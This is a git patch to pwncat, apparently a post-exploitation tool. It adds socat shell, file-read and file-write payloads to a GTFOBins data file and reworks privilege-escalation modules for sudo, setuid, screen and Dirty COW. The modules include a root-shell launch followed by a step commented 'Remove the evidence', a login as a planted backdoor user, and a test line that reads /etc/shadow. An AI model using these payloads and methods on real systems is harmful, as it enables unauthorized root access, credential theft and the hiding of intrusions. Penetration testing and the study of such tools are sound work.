From 84a5cb7debe2c3555b817ef404fda22e6835af28 Mon Sep 17 00:00:00 2001 From: John Hammond Date: Wed, 13 May 2020 18:58:31 -0400 Subject: [PATCH] Changed privesc methods to use run() rather than process()... seems to work?? Added socat as a gtfobins --- data/gtfobins.json | 35 ++++++++++++++++++++++++++++++++--- gtfobinstest.py | 23 +++++++++++++++++++++-- pwncat/privesc/__init__.py | 9 ++++++--- pwncat/privesc/dirtycow.py | 4 +++- pwncat/privesc/screen.py | 2 +- pwncat/privesc/setuid.py | 3 ++- pwncat/privesc/sudo.py | 3 ++- 7 files changed, 67 insertions(+), 12 deletions(-) diff --git a/data/gtfobins.json b/data/gtfobins.json index b2693c7..e59548b 100644 --- a/data/gtfobins.json +++ b/data/gtfobins.json @@ -11,6 +11,7 @@ "payload": "{command} 2>/dev/null", // This is used to pass arguments to the application (auto-merged // into "{command}". + // IF YOUR COMMAND TAKES ARGUMENTS, YOU MUST SUPPLY THEM HERE. "args": ["if={lfile}"], // Prepends arguments, if any to the "args" for setuid context. @@ -261,13 +262,41 @@ "type": "shell", "payload": "TF=$({mktemp}); echo 'system(\"{shell}\")' > $TF; {command}", "args": ["--no-stop", "-q", "$TF"], - "exit": "exit" + "exit": "exit\n" }, { "type": "read", "payload": "TF=$({mktemp}); echo 'system(\"{cat} {lfile}\")' > $TF; {command}", "args": ["--no-stop", "-q", "$TF"], - "exit": "exit" + "exit": "exit\n" } + ], + "socat": [ + { + "type": "shell", + "payload": "{command}", + "args": ["STDIN", "EXEC:{shell}"], + "exit": "exit\n" + }, + { + "type": "read", + "payload": "{command}", + "args": ["-u", "FILE:{lfile}", "STDOUT"] + }, + { + "type": "write", + "stream": "print", + "payload": "{command} 2>/dev/null", + "args": ["-u", "STDIN", "CREATE:{lfile}"], + "exit": "{ctrl_d}" + }, + { + "type": "write", + "stream": "base64", + "payload": "{base64} -d | {command} 2>/dev/null", + "args": ["-u", "STDIN", "CREATE:{lfile}"], + "exit": "{ctrl_d}" + } + ] -} +} \ No newline at end of file diff --git a/gtfobinstest.py b/gtfobinstest.py index aa4af03..17861c4 100644 --- a/gtfobinstest.py +++ b/gtfobinstest.py @@ -16,5 +16,24 @@ def which(path: str, quote=False): gtfo = GTFOBins("data/gtfobins.json", which) -all_binaries = list(gtfo.iter_methods(Capability.SHELL)) -print(all_binaries[0].build(shell="/bin/bash", suid=True)) + +binary_to_test = "socat" +capabilities_to_test = Capability.WRITE +our_shell = "/bin/bash" + +socat = gtfo.find_binary(binary_to_test) +print(socat) +print(vars(socat)) + +methods = socat.iter_methods( + which(binary_to_test), caps=capabilities_to_test, stream=None +) +for method in methods: + print(method) + print(method.build(lfile="/tmp/test", data="hello")[0]) + break + # print(method.build(shell=our_shell)[0]) + # print(method.build(lfile="/etc/shadow", suid=True)[0]) + +# all_binaries = list(gtfo.iter_methods(Capability.SHELL)) +# print(all_binaries[0].build(shell="/bin/bash", suid=True)) diff --git a/pwncat/privesc/__init__.py b/pwncat/privesc/__init__.py index e435a91..259ba18 100644 --- a/pwncat/privesc/__init__.py +++ b/pwncat/privesc/__init__.py @@ -21,8 +21,8 @@ from pwncat import util # privesc_methods = [SetuidMethod, SuMethod] # privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod] -privesc_methods = [SuMethod, SudoMethod, ScreenMethod, SetuidMethod] -# privesc_methods = [SuMethod, SudoMethod] +# privesc_methods = [SuMethod, SudoMethod, SetuidMethod] +privesc_methods = [SuMethod, SetuidMethod] class Finder: @@ -302,8 +302,11 @@ class Finder: # Check if we ended up in a sub-shell without escalating if self.pty.getenv("SHLVL") != shlvl: + # Get out of this subshell. We don't need it - self.pty.process(exit_script, delim=False) + # self.pty.process(exit_script, delim=False) + self.pty.run(exit_script, wait=False) + self.pty.recvuntil("\n") # Clean up whatever mess was left over self.pty.flush_output() diff --git a/pwncat/privesc/dirtycow.py b/pwncat/privesc/dirtycow.py index 40f9619..4563333 100644 --- a/pwncat/privesc/dirtycow.py +++ b/pwncat/privesc/dirtycow.py @@ -90,7 +90,9 @@ class DirtycowMethod(Method): raise PrivescError("backdoor user not created") # Become the new user! - self.pty.process(f"su {self.pty.privesc.backdoor_user_name}", delim=False) + self.pty.run(f"su {self.pty.privesc.backdoor_user_name}", wait=False) + self.pty.recvuntil(": ") + self.pty.client.send(self.pty.privesc.backdoor_password.encode("utf-8") + b"\n") return "exit" diff --git a/pwncat/privesc/screen.py b/pwncat/privesc/screen.py index c8498f8..8685d0d 100644 --- a/pwncat/privesc/screen.py +++ b/pwncat/privesc/screen.py @@ -148,7 +148,7 @@ class ScreenMethod(Method): self.pty.run("popd") # Start the root shell! - self.pty.process(f"{rootshell}", delim=False) + self.pty.run(f"{rootshell}", wait=False) # Remove the evidence self.pty.run(f"unlink {libhack_so} {libhack_c} {rootshell_c} {rootshell}") diff --git a/pwncat/privesc/setuid.py b/pwncat/privesc/setuid.py index 3258949..80fb458 100644 --- a/pwncat/privesc/setuid.py +++ b/pwncat/privesc/setuid.py @@ -93,7 +93,8 @@ class SetuidMethod(Method): payload, input_data, exit_cmd = method.build(shell=self.pty.shell, suid=True) # Run the start commands - self.pty.process(payload, delim=False) + # self.pty.process(payload, delim=False) + self.pty.run(payload, wait=False) # Send required input self.pty.client.send(input_data.encode("utf-8")) diff --git a/pwncat/privesc/sudo.py b/pwncat/privesc/sudo.py index 2eb7bd0..92fad43 100644 --- a/pwncat/privesc/sudo.py +++ b/pwncat/privesc/sudo.py @@ -212,7 +212,8 @@ class SudoMethod(Method): ) # Run the commands - self.pty.process(payload, delim=True) + # self.pty.process(payload, delim=True) + self.pty.run(payload, wait=True) # This will check if the password is needed, and attempt to send it or # fail, and return